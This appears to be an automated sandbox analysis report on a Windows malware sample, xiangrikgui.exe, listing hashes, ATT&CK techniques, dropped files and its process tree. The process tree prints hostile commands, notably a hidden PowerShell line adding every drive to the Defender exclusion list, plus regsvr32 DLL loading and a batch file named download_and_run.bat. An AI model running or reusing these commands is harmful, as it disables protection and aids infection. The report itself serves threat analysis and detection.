0455ed6abd6758907267ba9e09155bc8b1f430e2b60a33c1e1aaebf92471a32e

Analysis

max time kernel
149s
max time network
104s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
10/09/2025, 17:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
xiangrikgui.exe
Size 70.2MB
Sample250910-wh5baasvcw
SHA256 0455ed6abd6758907267ba9e09155bc8b1f430e2b60a33c1e1aaebf92471a32e
MD5 84bca52e2c6897aa4127d72f5bd2f166
SHA1 0f5d3d903b31390dcb3785a6f8863f8876c41a8e
SHA512 bc951ce8f5eaf9c19c9e90cb9d9cb95dc42ca6eeefc7f77971b6083268c7755426971fd7e9b581e0d069403ce8863e1f4ba0aad86fc2c803a582c677834640e6
SSDEEP 1572864:1HgCUAre2t1jRX9Y1mLbqSaRqlIS8sEsGzP63tkwerpvIqaIbzDD:1HCAre2t1jRX9Y1EbqHquvsi68rpvIqp
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5800	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2304	xiangrikui.exe
1108	xiangrikui.exe

Loads dropped DLL 4 IoCs

pid	Process
248	xiangrikgui.exe
5360	regsvr32.exe
4632	regsvr32.exe
5904	regsvr32.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\windows\system32\wow64log.dll	regsvr32.exe
File opened for modification	C:\windows\system32\wow64log.dll	regsvr32.exe
File created	C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{31351756-3F24-4963-8380-4E7602335AAE}.cip	regsvr32.exe

Enumerates processes with tasklist 1 TTPs 15 IoCs

discovery

Process Discovery

T1057

pid	Process
3584	tasklist.exe
3632	tasklist.exe
4576	tasklist.exe
5384	tasklist.exe
4868	tasklist.exe
3064	tasklist.exe
3408	tasklist.exe
464	tasklist.exe
2992	tasklist.exe
4296	tasklist.exe
2824	tasklist.exe
2072	tasklist.exe
6112	tasklist.exe
2588	tasklist.exe
2632	tasklist.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2304-66-0x00007FF6EC4A0000-0x00007FF6ED4A0000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\Soasmau\xiangrikui.exe	xiangrikgui.exe
File created	C:\Program Files\Soasmau\1.bin	xiangrikgui.exe
File created	C:\Program Files\Soasmau\dllloader_v2.dll	xiangrikgui.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\windows\TMYGcJCkUF.bat	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xiangrikgui.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Delays execution with timeout.exe 15 IoCs

defense_evasion

pid	Process
4992	timeout.exe
1148	timeout.exe
2196	timeout.exe
2152	timeout.exe
5156	timeout.exe
704	timeout.exe
1756	timeout.exe
5348	timeout.exe
6016	timeout.exe
3876	timeout.exe
2692	timeout.exe
5964	timeout.exe
4220	timeout.exe
580	timeout.exe
3872	timeout.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
4632	regsvr32.exe
5800	powershell.exe
5800	powershell.exe
1600	elevation_service.exe
1600	elevation_service.exe
1600	elevation_service.exe
1600	elevation_service.exe
1600	elevation_service.exe
1600	elevation_service.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1600	elevation_service.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeDebugPrivilege	4632	regsvr32.exe
Token: SeDebugPrivilege	4868	tasklist.exe
Token: SeDebugPrivilege	3584	tasklist.exe
Token: SeDebugPrivilege	6112	tasklist.exe
Token: SeDebugPrivilege	3064	tasklist.exe
Token: SeDebugPrivilege	2588	tasklist.exe
Token: SeDebugPrivilege	3408	tasklist.exe
Token: SeDebugPrivilege	2992	tasklist.exe
Token: SeDebugPrivilege	3632	tasklist.exe
Token: SeDebugPrivilege	4296	tasklist.exe
Token: SeDebugPrivilege	464	tasklist.exe
Token: SeDebugPrivilege	4576	tasklist.exe
Token: SeDebugPrivilege	2824	tasklist.exe
Token: SeDebugPrivilege	5384	tasklist.exe
Token: SeDebugPrivilege	2072	tasklist.exe
Token: SeDebugPrivilege	2632	tasklist.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3836	Process not Found
1108	xiangrikui.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 248 wrote to memory of 5360	248	xiangrikgui.exe	79
PID 248 wrote to memory of 5360	248	xiangrikgui.exe	79
PID 248 wrote to memory of 5360	248	xiangrikgui.exe	79
PID 5360 wrote to memory of 4632	5360	regsvr32.exe	80
PID 5360 wrote to memory of 4632	5360	regsvr32.exe	80
PID 4632 wrote to memory of 5800	4632	regsvr32.exe	81
PID 4632 wrote to memory of 5800	4632	regsvr32.exe	81
PID 5904 wrote to memory of 4352	5904	regsvr32.exe	85
PID 5904 wrote to memory of 4352	5904	regsvr32.exe	85
PID 5904 wrote to memory of 1600	5904	regsvr32.exe	84
PID 4352 wrote to memory of 4868	4352	cmd.exe	87
PID 4352 wrote to memory of 4868	4352	cmd.exe	87
PID 4352 wrote to memory of 4940	4352	cmd.exe	88
PID 4352 wrote to memory of 4940	4352	cmd.exe	88
PID 4632 wrote to memory of 4972	4632	regsvr32.exe	89
PID 4632 wrote to memory of 4972	4632	regsvr32.exe	89
PID 4972 wrote to memory of 2496	4972	cmd.exe	92
PID 4972 wrote to memory of 2496	4972	cmd.exe	92
PID 4352 wrote to memory of 2692	4352	cmd.exe	93
PID 4352 wrote to memory of 2692	4352	cmd.exe	93
PID 248 wrote to memory of 2304	248	xiangrikgui.exe	94
PID 248 wrote to memory of 2304	248	xiangrikgui.exe	94
PID 2304 wrote to memory of 1108	2304	xiangrikui.exe	95
PID 2304 wrote to memory of 1108	2304	xiangrikui.exe	95
PID 4352 wrote to memory of 3584	4352	cmd.exe	96
PID 4352 wrote to memory of 3584	4352	cmd.exe	96
PID 4352 wrote to memory of 5112	4352	cmd.exe	97
PID 4352 wrote to memory of 5112	4352	cmd.exe	97
PID 4352 wrote to memory of 4992	4352	cmd.exe	98
PID 4352 wrote to memory of 4992	4352	cmd.exe	98
PID 4352 wrote to memory of 6112	4352	cmd.exe	99
PID 4352 wrote to memory of 6112	4352	cmd.exe	99
PID 4352 wrote to memory of 5988	4352	cmd.exe	100
PID 4352 wrote to memory of 5988	4352	cmd.exe	100
PID 4352 wrote to memory of 5156	4352	cmd.exe	101
PID 4352 wrote to memory of 5156	4352	cmd.exe	101
PID 4352 wrote to memory of 3064	4352	cmd.exe	102
PID 4352 wrote to memory of 3064	4352	cmd.exe	102
PID 4352 wrote to memory of 3664	4352	cmd.exe	103
PID 4352 wrote to memory of 3664	4352	cmd.exe	103
PID 4352 wrote to memory of 5964	4352	cmd.exe	104
PID 4352 wrote to memory of 5964	4352	cmd.exe	104
PID 4352 wrote to memory of 2588	4352	cmd.exe	105
PID 4352 wrote to memory of 2588	4352	cmd.exe	105
PID 4352 wrote to memory of 1648	4352	cmd.exe	106
PID 4352 wrote to memory of 1648	4352	cmd.exe	106
PID 4352 wrote to memory of 704	4352	cmd.exe	107
PID 4352 wrote to memory of 704	4352	cmd.exe	107
PID 4352 wrote to memory of 3408	4352	cmd.exe	108
PID 4352 wrote to memory of 3408	4352	cmd.exe	108
PID 4352 wrote to memory of 4272	4352	cmd.exe	109
PID 4352 wrote to memory of 4272	4352	cmd.exe	109
PID 4352 wrote to memory of 4220	4352	cmd.exe	110
PID 4352 wrote to memory of 4220	4352	cmd.exe	110
PID 4352 wrote to memory of 2992	4352	cmd.exe	111
PID 4352 wrote to memory of 2992	4352	cmd.exe	111
PID 4352 wrote to memory of 3108	4352	cmd.exe	112
PID 4352 wrote to memory of 3108	4352	cmd.exe	112
PID 4352 wrote to memory of 1756	4352	cmd.exe	113
PID 4352 wrote to memory of 1756	4352	cmd.exe	113
PID 4352 wrote to memory of 3632	4352	cmd.exe	114
PID 4352 wrote to memory of 3632	4352	cmd.exe	114
PID 4352 wrote to memory of 5160	4352	cmd.exe	115
PID 4352 wrote to memory of 5160	4352	cmd.exe	115

C:\Users\Admin\AppData\Local\Temp\xiangrikgui.exe
"C:\Users\Admin\AppData\Local\Temp\xiangrikgui.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:248
- C:\Windows\SysWOW64\regsvr32.exe
  "C:\Windows\system32\regsvr32.exe" /S "C:\Program Files\Soasmau\dllloader_v2.dll"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5360
- - C:\Windows\system32\regsvr32.exe
    /S "C:\Program Files\Soasmau\dllloader_v2.dll"
    3⤵
    - Loads dropped DLL
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "Set-MpPreference -ExclusionPath 'C:\','D:\','E:\','F:\','G:\','H:\','I:\','J:\','K:\','L:\','M:\','N:\','O:\','P:\','Q:\','R:\','S:\','T:\','U:\','V:\','W:\','X:\','Y:\','Z:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Videos\download_and_run.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4972
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2496
- C:\Program Files\Soasmau\xiangrikui.exe
  "C:\Program Files\Soasmau\xiangrikui.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Program Files\Soasmau\xiangrikui.exe
    "C:\Program Files\Soasmau\xiangrikui.exe" --mod=install --admin=1
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:1108

C:\Windows\system32\regsvr32.exe
regsvr32.exe /S "C:\ProgramData\Roning\goldendays.dll
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:5904
- C:\Windows\system32\cmd.exe
  cmd.exe /C ""C:\windows\TMYGcJCkUF.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4868
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:4940
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:2692
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3584
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:5112
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:4992
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:6112
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:5988
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:5156
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3064
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:3664
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:5964
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2588
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:1648
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:704
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3408
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:4272
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:4220
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2992
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:3108
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:1756
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3632
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:5160
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:5348
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4296
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:6048
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:6016
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:464
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:2748
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:580
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4576
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:3132
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:3876
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2824
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:2268
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:1148
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5384
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:1176
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:3872
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2072
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:2700
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:2196
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1600"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- - C:\Windows\system32\findstr.exe
    findstr /i "1600"
    3⤵
    PID:3272
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:2152

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1600

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1.bin

Path C:\Program Files\Soasmau\1.bin
Size 2.6MB
SHA256 1232e9123155b6b794644f335bf68c516b940458689d631ad6fae7815d873c26
MD5 9396724f196acdac1e33711e05b20bdf
SHA1 eb2e20cdae41faa2b15f4ce5452c6f3dd3e147c0
SHA512 d5d528255225018c03b87f248ef7e797095bc9444a0b0b59c2b0e5aa6d4ed66ea77d9b2019254c7017991b3cfe59cc97dcd5183a5ece7a2cd307255fb9ab5377
SSDEEP 49152:y0HL74Did5eldOQ4zHYuCaBG5wyOUueRA6FYBB4gxYjPBq:y0D0dOdLXiUB4gx6q
MD5 SHA1 SHA512 SSDEEP

Submit Download

dllloader_v2.dll

Path C:\Program Files\Soasmau\dllloader_v2.dll
Size 118KB
SHA256 e44fbb09238220f72216405fe75ec049634ad6731575e9b464254433ab448ff2
MD5 0d10d1b0a57717aa48a1a261b90d1159
SHA1 cf6e096b90e5355222bb348e8087c5f3c1aa22ce
SHA512 c146dce4a2dc282bbac0d329f38381d6bd7b57a429f92f6ef59a25d86c24e79fbd5693675bfdda21c30a1f3eb70e41bcf292f1f3fcc27c1cfcf8982aee540e03
SSDEEP 1536:eGdL0UT0t7LKMzd1q3ae4qjj0oXSKn7SQg1gM3D1/LYgccosW5dd9dlgReNm:eGdLlkXqqto3XSc7PMJz1/sg9WNuReN
MD5 SHA1 SHA512 SSDEEP

Submit Download

Enpug.bin

Path C:\ProgramData\Roning\Enpug.bin
Size 171KB
SHA256 0a977772806f69caea596d841f210fff4bfdcb09b420390314c3bfc3c62b3e35
MD5 086be5ceb44c6e6f209092f47d41a188
SHA1 28d7d2fdaa1c41a13d16ddaa20a23a230ae8df0e
SHA512 cf679c3cb9d90ad736ec158f4c36e206d0a578b3ef1e56976b408d522de301ced136118cfa7f7de01ecc7422796f3bc7fc02610c9be174713c295a27d69cb095
SSDEEP 3072:aYbM7GARS0KflhcaJeT5eah1aVfzOcXpiegeib7/iwuJNDd:fG00KLcweTw+1aVfzOcZM93gN
MD5 SHA1 SHA512 SSDEEP

Submit Download

goldendays.dll

Path C:\ProgramData\Roning\goldendays.dll
Size 258KB
SHA256 33b494eaaa6d7ed75eec74f8c8c866b6c42f59ca72b8517b3d4752c3313e617c
MD5 d920c1a909744e206405ec13539ee01c
SHA1 bf778f27c8abc9bd44ca484bf18d45cd17f7bbc8
SHA512 f0b30c2ea0dac44661f88b72861da1a25f9c826fd840b093ce36fa77be22856a3592c9e2c05e62a433fa2a294745c3aa923049ed0262170b078d95ea12f403b7
SSDEEP 6144:aKzJW4g+lZ1WJrfO6F89mJJSbznohoHF6nGj:PHgi1WJfOixvSfnoIbj
MD5 SHA1 SHA512 SSDEEP

Submit Download

trustinstaller.bin

Path C:\ProgramData\Roning\trustinstaller.bin
Size 9KB
SHA256 01e39ba732bb166626f6cb9dcdd40de680e0553baadad9fae5d3875881c5b9cc
MD5 3942f8f3b5355156811fb2da143017b3
SHA1 a7c6dd58317b3db843f7d8dc414c71bf9d69ca55
SHA512 c6685a4d89d3d2981821928851c3b603bf7a7a7dcf9d7b556bff411174f4fe0eb72914b1bcb5c1839e929fc1527c514c7017bfb44576ea78d94b0309916962e0
SSDEEP 96:jFrGUw9DxeA1nbiYD8eWFtFRqDarygjmiPKy0XkVR+taM0ATA:jFMt8nuViC/nTTA
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_1oanvdcf.5x3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1oanvdcf.5x3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

check_sign_test.log

Path C:\Users\Admin\AppData\Local\Temp\check_sign_test.log
Size 258B
SHA256 68900d572c7c54d830a5838d9804b62dee46ae2f04533533cd71523ffe9a31aa
MD5 f124e8909254937d5cbc0cfaee5dd36b
SHA1 2f8a65c028f8dfdd0850c679efea8c69062d5924
SHA512 2190c1172970d5817280fb57e57a815aa08648eaf121baec15e05d843cf48c7285ed18400c04a8a3820a81e99ee336def398c9d4a546a1cfc72cae1791ac20b9
MD5 SHA1 SHA512

Submit Download

System.dll

Path C:\Users\Admin\AppData\Local\Temp\nsvA0F4.tmp\System.dll
Size 12KB
SHA256 8b4c47c4cf5e76ec57dd5a050d5acd832a0d532ee875d7b44f6cdaf68f90d37c
MD5 9b38a1b07a0ebc5c7e59e63346ecc2db
SHA1 97332a2ffcf12a3e3f27e7c05213b5d7faa13735
SHA512 26e77f8e10f6d8693c92bd036b53a3f6e0c523090ef8dfe479815f556ecd2b57fc90ce9f7cceebe70460d464decb27ad1fe240819fd56997764e96506b6a439c
SSDEEP 192:kjHcQ0qWTlt7wi5Aj/lM0sEWD/wtYbBjpNQybC7y+XZ40QPi:U/Qlt7wiij/lMRv/9V4b4r
MD5 SHA1 SHA512 SSDEEP

Submit Download

1.dll

Path C:\Users\Public\Downloads\20250910095720\1.dll
Size 103KB
SHA256 4d5beb8efd4ade583c8ff730609f142550e8ed14c251bae1097c35a756ed39e6
MD5 f8c3fc89d7a33c90110e401acc799d05
SHA1 c52d46c66d6469877b156e166ca2dbfb72fe90eb
SHA512 4b7f64642aa0bf07cb8fa19a99c0f72362f14cb3758a948a07aac1a6d5b39df1adeda1eee321f32424e293a49cb6a58e8cab6b190312f537b6ac9d2899006d75
SSDEEP 3072:dykJwl3b4P35bVZHy//pB8rVYPbwILtDzyrT6CGRn:dVwl3bA5bDHy5JGCx
MD5 SHA1 SHA512 SSDEEP

Submit Download

download_and_run.bat

Path C:\Users\Public\Videos\download_and_run.bat
Size 121B
SHA256 d50481ae4361b9fab5a28464f7c26cb4768dfb75728bd3c8edb461e5543d1e1d
MD5 c635fe3c1314a28efac004399141f853
SHA1 f6ea68cb61df3db719b2388fa17093ebe87ef3cc
SHA512 b26bd7bd621e488bedcdbeb087ce4f073fe0283701fab2df600716dd80af7070cbc19e9ab1678fef1979878b3762239f2852369cc607a08ca9124034a5d6e89c
MD5 SHA1 SHA512

Submit Download

TMYGcJCkUF.bat

Path C:\windows\TMYGcJCkUF.bat
Size 299B
SHA256 35c7c7fa05929c4ce7e15c6176a1c57bba9725c4596ed0cc398102766d08e52c
MD5 b46239243fd186db509cf7e4e921ec48
SHA1 5f37fc1048a2bec85a33cf2496db44d8e990f691
SHA512 845294b86fb6b8af6dfca9fd81db02023447ab135aa1c0483387a51fc0bd5976a79a5a349951a108405e2afd090fb949980a75b7ab9969912cb65ee4dac36faa
MD5 SHA1 SHA512

Submit Download

memory/1600-39-0x0000024A569A0000-0x0000024A569A3000-memory.dmp

Download

memory/2304-66-0x00007FF6EC4A0000-0x00007FF6ED4A0000-memory.dmp

Download

memory/3836-55-0x0000000140000000-0x0000000140031000-memory.dmp

Download

memory/3836-52-0x00000133526B0000-0x00000133526DB000-memory.dmp

Download

memory/4632-14-0x0000000140000000-0x00000001402A9000-memory.dmp

Download

memory/4632-57-0x0000000140000000-0x00000001402A9000-memory.dmp

Download

memory/4632-13-0x0000000000930000-0x0000000000931000-memory.dmp

Download

memory/4632-11-0x0000000002770000-0x0000000002A16000-memory.dmp

Download

memory/4632-12-0x0000000140000000-0x00000001402A9000-memory.dmp

Download

memory/5800-16-0x0000023CE4660000-0x0000023CE4682000-memory.dmp

Download